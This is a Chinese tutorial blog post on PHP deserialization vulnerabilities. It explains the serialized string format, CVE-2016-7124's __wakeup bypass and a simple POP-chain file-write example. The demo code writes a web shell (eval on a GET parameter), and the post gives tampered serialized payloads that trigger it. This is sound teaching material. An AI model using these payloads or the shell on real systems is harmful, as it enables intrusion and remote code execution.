php反序列化漏洞

一、什么是(反)序列化

(反)序列化是PHP提供的一种可以简单传输对象或者数组的方法
serialize()为序列化方法
unserialize()为反序列化方法
(反)序列化在提高传输效率的同时,也存在一些漏洞,一些是由于(反)序列化自身语法引起的,一些是由于序列化的数据是用户可控的恶意数据。

二、(反)序列化原理

这里涉及到两个很重要的魔法函数(属于被(反)序列化的类):
sleep():若该函数存在,则在序列化时会调用该函数,一般的作用是将对应的对象或者数组删除,可自定义。
wakeup():若该函数存在,则在反序列化时会调用该函数,一般的作用是重构原对象可能具有的任何资源,比如恢复数据库连接或者其他初始化,可自定义。

如下代码是序列化一个对象:

<?php
class Father
{
	private $father = 'iamfather';
}
class test extends Father
{
	private $pri = 'pri';
	protected $pro = 'pro';
	public $pub = 'pub';
	public function set_pri($pri)
    {
        $this->pri = $pri;
    }
    public function get_pri($pri)
    {
        return $this->pri;
    }
}

$object = new test();
$object->set_pri('pri');
$data = serialize($object);
echo $data;
?>

运行结果:

O:4:"test":4:{s:9:"testpri";s:3:"pri";s:6:"*pro";s:3:"pro";s:3:"pub";s:3:"pub";s:14:"Fatherfather";s:9:"iamfather";}

这里解释下该字符串各个字段的含义

  1. O:object,表示该字符串表示一个对象的序列化结果;
  2. 4:表示该对象所属类的名字长度,类test长度为4;
  3. “test”:表示该对象所属的类;
  4. 4:表示该对象所属类以及祖先类所声明的字段个数(public,private,protected),test类父类有一个private定义的字段’father’,test类本身有三个字段’pri’、‘pro’和’pub’,所以共有4个字段;
  5. {}:{}里的内容是键值对,键是字段名,值是字段名的值,中间的数字指该键或值的长度;
  6. s:string;
    :序列化字符串的所有长度都以字节为单位
    这里有个奇特的地方9:"testpri"6:"*pro"14:"Fatherfather"为什么数字和字符串看起来的长度不一样?

三、对象字段的序列化

  1. public 声明的字段序列化结果是很符合常识的,public $pub的结果就是pub
  2. protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此为了告诉你这个字段是保护字段,在序列化时字段名前面会加上0x00*0x00的前缀。这里的 0x00 表示 ASCII 码为 0的字符,即NULL,所以6:"*pro"的序列化结果其实是0x00*0x00pro,只不过null不显示,所以长度是6而不是4。
  3. private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此为了告诉你该字段是私有字段,在序列化时字段名前面会加上0x00[declared lass name]0x00的前缀。这里 declared class name表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类,所以9:"testpri"长度不是7而是9,并且pri前面加上了所属类test,14:"Fatherfather"长度是14而不是12,并且father前面加上了所属类Father。

四、数组的序列化

<?php
$a = array(1=>1,'id'=>2,3=>3);
$data = serialize($a);
echo $data;
?>

结果:

a:3:{i:1;i:1;s:2:"id";i:2;i:3;i:3;}

五、PHP语言本身的漏洞

最经典的便是CVE-2016-7124,触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要概括为:当对象序列化字符串中表示字段个数的值大于真实的字段个数时,unserialize时会跳过_waekup()的执行。
这里有一个demo.php:

<?php
class Test
{
   private $poc = '';
   public function __construct($poc)
   {
       $this->poc = $poc;
   }
   function __destruct()
   {
       if ($this->poc != '')
       {
           file_put_contents('shell.php', '<?php eval($_GET["shell"]);?>');
           die('Success!!!');
       }
       else
       {
           die('fail to getshell!!!');
       }        
   }
   function __wakeup()
   {
       foreach(get_object_vars($this) as $k => $v)
       {
           $this->$k = null;
       }
       echo "waking up...n";
   }
}
$poc = $_GET['poc'];
if(!isset($poc))
{
   show_source(__FILE__);
   die();
}
$a = unserialize($poc);

这个php页面,接收一个poc参数,显然在这里poc是test类的实例,对poc执行unserialize(),理论上来说会先执行_wakeup(),将其中的字段/属性设为null,这样在程序结束的时候执行析构函数_destruct()时,就不会生成shell.php,
但是如果按CVE-2016-7124,只要我们传进去的序列化字符串进行改动,就可以让_wake()不执行,使得在执行_destruct()时,生成shell.php,我们来试一试。

$object = new Test('a');
$data = serialize($object);
echo $data;

结果:

O:4:"Test":1:{s:9:"Testpoc";s:1:"a";}Success!!!

{}前面的数字1表示这个对象只有一个字段,那么我们将其改成2

O:4:"Test":2:{s:9:"Testpoc";s:1:"a";}

将这个修改过的序列化结果传给demo.php。
本地PHP版本存在该漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里要注意的是,s:9:"Testpoc"前面提到过,Test前后有两个null,所以我们手动将其赋值给poc时,要在Test前后添加%00,结果url编码之后就是0x00,才能Sucess,否则返回的是 fail to getshell!!!

六、PHP反序列化与POP链

POP链其实就是PHP各个函数,类与类之间的一个调用过程,前后顺序组成了一个链条(大概是这个意思,便于理解,具体怎么解释没查到)。

前面说到过,反序列化一个很危险的地方在于数据可能受到用户控制,安全的第一要诀就是,永远不要相信用户的输入。

我们来举个例子:
popdemo.php

<?php
class popdemo
{
	private $data = "prodemon";
    private $filename = './demon.txt';
	public function get_data()
	{
		echo $this->data;
	}
    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        $this->save($this->filename);
		$this->get_data();
    }
    public function save($filename)
    {
        file_put_contents($filename, $this->data);
    }

} 
?>

pop_serialize.php

<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
?>

pop_unserialize.php

<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));
?>

代码过程就是,生成一个类popdemo的实例,将其序列化后再反序列化,调用_wakeup(),再调用save()函数,将data存储到filename文件中。
运行结果:
在这里插入图片描述

在这里插入图片描述

到这都是正常的
但是如果我们修改了pop_serialize.txt里面序列化字符串

O:7:"popdemo":2:{s:13:" popdemo data";s:8:"prodemon";s:17:" popdemo filename";s:11:"./demon.txt";}

改为

O:7:"popdemo":2:{s:13:" popdemo data";s:4:"hack";s:17:" popdemo filename";s:10:"./hack.txt";}

此时再访问php_unserialize.php
在这里插入图片描述
此时类中的写方法就被恶意利用了。

其实还要更符合实战的关于POP链的例子,但是我暂时也没搞明白,所以就不介绍了,大家可以去这篇文章看看,感谢原博主的分享。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
关于PHP反序列化漏洞的习题,可以使用GlobIterator类和ArrayObject类来进行练习。其中,GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_phpPHP反序列化漏洞是一种安全漏洞,其中一个具体的例子是CVE-2016-7124,该漏洞存在于php5<5.6.25和php7<7.0.10的版本中。漏洞的产生原因是由于反序列化时对输入的不当处理所导致的。 了解PHP反序列化漏洞的习题,需要掌握类与对象、反序列化基础知识以及一些与魔术方法相关的内容,如构造和折构方法(__construct()、__destruct())、序列化和反序列化方法(__sleep()、__wakeup())、错误调用魔术方法(__callStatic()、__get()、__set()、__isset()、__unset()、__clone())等。反序列化漏洞的成因较复杂,例如POP链构造、POC链反推法等。 此外,还可以学习字符串逃逸和__wakeup魔术方法绕过漏洞的相关知识。其中,__wakeup魔术方法绕过漏洞的产生原因是__wakeup方法可以在反序列化时被绕过,从而可能导致安全漏洞PHP反序列化漏洞还可以通过引用的利用方法来进行学习。另外,还可以学习SESSION反序列化漏洞和phar反序列化漏洞的习题。其中,SESSION反序列化漏洞涉及到不同处理器的不同储存格式,而phar反序列化漏洞需要了解phar的构造和使用条件。 通过这些习题的学习,可以更好地理解PHP反序列化漏洞以及如何进行防范和修复。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [PHP反序列化漏洞(最全面最详细有例题)](https://blog.csdn.net/m0_73728268/article/details/129893800)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值